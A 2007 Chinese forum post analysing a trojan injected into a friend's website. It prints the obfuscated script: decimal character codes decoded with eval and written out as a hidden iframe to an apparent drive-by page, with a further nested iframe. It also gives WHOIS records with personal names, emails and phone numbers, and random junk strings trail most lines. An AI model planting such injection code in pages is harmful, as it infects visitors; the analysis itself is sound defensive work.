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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, (_s;aK  
! Zno[R  
http://www.areway.cn/?p=175 G% o7BX  
?OdV1xB  
~K4k'   
周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: j~X j  
          u):X>??  
<script>t=’60,105,102,114,97,109,101, Z`^ K%P=  
32,115,114,99,61,104,116,116,112,58,47,47, "9)1K!tH  
102,114,101,101,46,117,45,117,117,117,46,99, +dDJes!]  
110,47,101,114,114,111,114,46,104,116,109, Bjurmo  
32,119,105,100,116,104,61,49,48,48,32,104, <ur KIu  
101,105,103,104,116,61,48,62,60,47,105,102, xWd9%,mDNR  
114,97,109,101,62′; 3s3a>  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> s'R~ r  
                                                                                                  >&*6Fqd  
<script>t=’60,105,102,114,97,109,101,32,115, w g$D@E7  
114,99,61,104,116,116,112,58,47,47,102,114, z~GVvgd  
101,101,46,117,45,117,117,117,46,99,110,47, 7~nIaT  
101,114,114,111,114,46,104,116,109,32,119, =~,$V<+c  
105,100,116,104,61,49,48,48,32,104,101,105, hdo+Qezu:  
103,104,116,61,48,62,60,47,105,102,114,97, emGV]A%nss  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); B)( p9]q  
document.write(t);</script> oc!biE`u  
                                                                                                  R1]v}f_I"  
<html xmlns=” .t"n]X i  
http://www.w3.org/1999/xhtml SS >:Sw  
“> 43UJ#rF  
<head> Se!gs>  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> {Bav$kw;?e  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> >VpP/Qf  
<title>首页 - 爱生活家庭网 =g{_^^n  
                                                                                                                                                    ek Y?  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 uYG #c(lc  
转换字符串后的大概内容是(谁点击后果自付): $#6 Fnhh}  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… Y2RxD\!Z  
                                                                                                                                  k@'?"CP\Xq  
查询玉米u-uuu.cn的详细信息: f 3nnXE"  
Domain Name: u-uuu.cn \#h})`  
ROID: 20070901s10001s64972306-cn GE/IaLo  
Domain Status: ok #o(?g-3  
Registrant Organization: 王雷 $ioaunQKP  
Registrant Name: 王雷 (.jO:#eE%  
Administrative Email: czlovexs@126.com z{ Zimr  
Sponsoring Registrar: 北京万网志成科技有限公司 ;XD>$t@  
Name Server:ns.yovole.com 6/p]jN  
Name Server:ns1.yovole.com <8F->k1"3  
Registration Date: 2007-09-01 17:54 *~\;&G29Y  
Expiration Date: 2008-09-01 17:54 I1eb31<  
最后PING了一下地址 都没有什么…. ~FK+bF?%  
                                                                                                ;ph+ZV  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. *g/I&'^  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> .HH,l  
<script language=”javascript” src=” i]h R7g<  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script \kua9bK  
> ;iwD/=Y  
这个玉米应该有可能是木马作者的: BMtYM{S6  
foafau.info的详细信息: 4nVO.Ud0$X  
Access to INFO WHOIS information is provided to assist persons in (_s!,QUe  
determining the contents of a domain name registration record in the Q@3ld6y  
Afilias registry database. The data in this record is provided by P~b%;*m}8  
Afilias Limited for informational purposes only, and Afilias does not 3!ajvSOI9j  
guarantee its accuracy.  This service is intended only for query-based <E(-QJ  
access. You agree that you will use this data only for lawful purposes 7+A-7ci  
and that, under no circumstances will you use this data to: (a) allow, qqO10~Xc  
enable, or otherwise support the transmission by e-mail, telephone, or .PA ?N{z  
facsimile of mass unsolicited, commercial advertising or solicitations I%VV4,I&pK  
to entities other than the data recipient’s own existing customers; or )nbyV a  
(b) enable high volume, automated, electronic processes that send N?`GZ+5  
queries or data to the systems of Registry Operator, a Registrar, or T^f&58{ 7  
Afilias except as reasonably necessary to register domain names or B4M'Er{v  
modify existing registrations. All rights reserved. Afilias reserves ;r2b@x:<_  
the right to modify these terms at any time. By submitting this query, &`\kb2uep  
you agree to abide by this policy. \sXm Mc  
Domain ID:D22418703-LRMS fu7[8R"{  
Domain Name:FOAFAU.INFO XQJV.SVS  
Created On:20-Nov-2007 16:05:42 UTC = -a?oH-  
Last Updated On:20-Nov-2007 16:05:44 UTC I{X@<o}  
Expiration Date:20-Nov-2008 16:05:42 UTC w-q=.RSTn=  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) JqH.QnKcv  
Status:CLIENT DELETE PROHIBITED z;@S_0M,Z  
Status:CLIENT RENEW PROHIBITED ;*85'WcS  
Status:CLIENT TRANSFER PROHIBITED }~0{1&  
Status:CLIENT UPDATE PROHIBITED 8 )2u@sx%  
Status:TRANSFER PROHIBITED R.n`R|NOd  
Registrant ID:GODA-040110615 36D,el In  
Registrant Name:liu hong Q=9VuTE  
Registrant Organization: dsft=t8s  
Registrant Street1:beijing ROI$;B(  
Registrant Street2: RAXJsF^5o  
Registrant Street3: E '6 z7m.  
Registrant City:beijing lf7H8k,-  
Registrant State/Province: >+W?!9[p:2  
Registrant Postal Code:100000 ^dp[ Z,[1z  
Registrant Country:CN f<x t3  
Registrant Phone:+86.860108888777 Zq6ebj  
Registrant Phone Ext.: hJtghG6v  
Registrant FAX: sjgxx7  
Registrant FAX Ext.: 5Qe}v  
Registrant Email:bbbshiji@163.com 'XjHB!!hU  
Admin ID:GODA-240110615 7[VCCI g  
Admin Name:liu hong }Q,C;!'"  
Admin Organization: Zp P6Q  
Admin Street1:beijing ,jdKcWy'  
Admin Street2: Z{>Y':\?<  
Admin Street3: (>/Dw|,m  
Admin City:beijing <H(AS'  
Admin State/Province: cVt$#A)  
Admin Postal Code:100000 #p^pvdvh3  
Admin Country:CN E"vi+'(v  
Admin Phone:+86.860108888777 L?pvz}  
Admin Phone Ext.: |@uhq>&  
Admin FAX: ), x3tTR  
Admin FAX Ext.: ?F:C!_  
Admin Email:bbbshiji@163.com q.Aw!]:!  
Billing ID:GODA-340110615 3_['[}  
Billing Name:liu hong Y K62#;  
Billing Organization: {s^n|b}  
Billing Street1:beijing G;.u>92r|  
Billing Street2: oI"Fpo  
Billing Street3: REe%>|   
Billing City:beijing *xX0]{49q  
Billing State/Province: jYssz4)tp  
Billing Postal Code:100000 T"jDq1C/,E  
Billing Country:CN tw^.(m5d  
Billing Phone:+86.860108888777 v nT  
Billing Phone Ext.: ~<Qxw>S#  
Billing FAX: -)c"cgx.  
Billing FAX Ext.: hQrsZv:Q  
Billing Email:bbbshiji@163.com i_9/!D  
Tech ID:GODA-140110615 h3 ZL0Fi*  
Tech Name:liu hong J};,%q_  
Tech Organization: p~ VW3u]  
Tech Street1:beijing # SOj4W  
Tech Street2: ;C@^wI  
Tech Street3: ^ C#bW <T  
Tech City:beijing jT_Tx\k  
Tech State/Province: )HiTYV)]'  
Tech Postal Code:100000 ' =s*DL`0  
Tech Country:CN K":tr~V;  
Tech Phone:+86.860108888777 Q#AHEm{9;s  
Tech Phone Ext.: T_ #oMXZ/  
Tech FAX: {@`Uf;hPAX  
Tech FAX Ext.: 8&iI+\lCy  
Tech Email:bbbshiji@163.com Ho*RLVI0U  
Name Server:NS27.DOMAINCONTROL.COM H_^u_ %:e  
Name Server:NS28.DOMAINCONTROL.COM ?DTP-#5Ba  
Name Server: ty8!"-V1  
Name Server: 23?0'AU  
Name Server: z:? <aT  
Name Server: i(#c Yb  
Name Server: im%3*bv-  
Name Server: ed2 &9E>9b  
Name Server: "+C\f)  
Name Server: +m},c-,=$w  
Name Server: yM~D.D3H  
Name Server: O c3%pb;  
Name Server: nf^k3QS\  
                                                                                                          AMiFsgBj  
接着下载每个文件里面的代码: + opN\`  
一步一步看.. lBC-G*#  
u$^` hzfI  
ZX}"  
fXQRsL8 ]  
Q";eyYdOL  
J<O_N~$$*  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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简单生活
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别笑我浅溥,天真的以为用一腔真诚就能感动这个冷漠的世界。
也别说我幼稚,竟想用不长的人生去诠释繁杂的红尘。
然而除了真诚,我还能给你什么,的确我真的一无所有!

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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
级别: 终身会员
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
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